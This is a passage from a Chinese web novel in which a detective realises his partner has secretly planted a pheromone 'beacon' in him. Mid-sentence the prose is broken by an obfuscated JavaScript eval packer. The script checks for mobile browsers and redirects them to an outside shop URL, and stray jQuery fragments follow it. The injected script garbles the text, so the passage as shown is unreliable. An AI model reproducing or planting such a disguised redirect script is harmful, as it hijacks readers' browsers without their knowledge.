他抬起头,看着宋世语瞬间苍白的脸。“你最近,是否在某些特定地点,或者接触某些特定物品时,出现剧烈的、无法控制的身体或情绪反应?比如,头晕、恶心、信息素暴走、或者……攻击性增强?”
宋世语想起了“鸦羽”晶体靠近时的剧痛,想起了在城西仓储中心外那突如其来的、几乎让他崩溃的眩晕和狂暴。“……有。”
陈沧点了点头,眼神晦暗。“那就是了。‘信标’被激活了。而且看你的信号强度,你体内的标记物,要么剂量很大,要么……已经被激活过很多次,处于一种极不稳定的高敏状态。至于怎么来的……”
他身体向后,靠在椅背上,目光锐利如刀。“这需要问你。你最近,或者说过去一段时间,有没有接触过可能被方舟控制的人或环境?有没有长时间处在某个特定的、封闭的空间?有没有使用过来历不明的药物、护肤品,甚至……漱口水?”
宋世语的呼吸一滞。
一个他从未深想,或者说,拒绝去想的可能性,如同冰锥,狠狠凿开了他试图维持的、摇摇欲坠的理智防线。
特定的、封闭的空间——他和宋揽同居的公寓。
长时间接触——三年,日夜相对。
来历不明的物品——宋揽惯用的、小众沙龙香的雪松味沐浴露。宋揽偶尔带给他的、声称是朋友从国外带回的、有助于缓解刑警疲劳的“保健品”。宋揽书房里那些他从不允许他乱动的、贴着复杂标签的瓶瓶罐罐和文献。
还有宋揽本人。那个Beta,没有信息素,却总能让他感到奇异的平静。那个学者,冷静理智,对“信息素与社会控制”的话题有着超乎常人的兴趣和见解。那个恋人,在无数个夜晚,拥抱他,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16886486|192027||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
亲吻他,呼吸交错。
是宋揽。
是宋揽,在长达三年的时间里,一点一点,悄无声息地,在他身上“种”下了这个“信标”。把他变成了一个活动的实验体,一个数据源,一个……不知道用途为何的“工具”。
难怪宋揽能轻易找到他,用一缕香气“安抚”他暴走的信息素。难怪宋揽说“你的信标反应过度了”。这一切,从一开始,就是计划好的。他们的相遇,他们的相爱,他们的同居……有多少是真实的感情,有多少是冰冷的实验设计?
巨大的荒谬感和一种深入骨髓的冰冷恶心感攫住了宋世语。他猛地握紧了拳头,指甲深深掐进掌心,试图用疼痛来对抗那股几乎要将他撕裂的、混合着背叛、痛苦和极度自我厌恶的情绪。左臂的伤口因为用力而崩裂,温热的液体再次渗出,但他浑然不觉。
陈沧看着他的反应,沉默了片刻,眼中掠过一丝复杂的情绪,似是了然,似是同情,但更多的是冰冷的审视。
“看来,你想到来源了。”他淡淡地说,从抽屉里拿出一个简易的采血针和几个真空采血管。“现在,告诉我,你想怎么做?只是想知道真相?还是想摆脱它?”
宋世语抬起头,眼底布满血丝,但之前那些混乱的痛苦和挣扎,在极致的冰冷和荒谬之后,反而沉淀为一种近乎死寂的平静。那是一种认清了所有底线都已崩塌,前方只剩悬崖,反而无所畏惧的平静。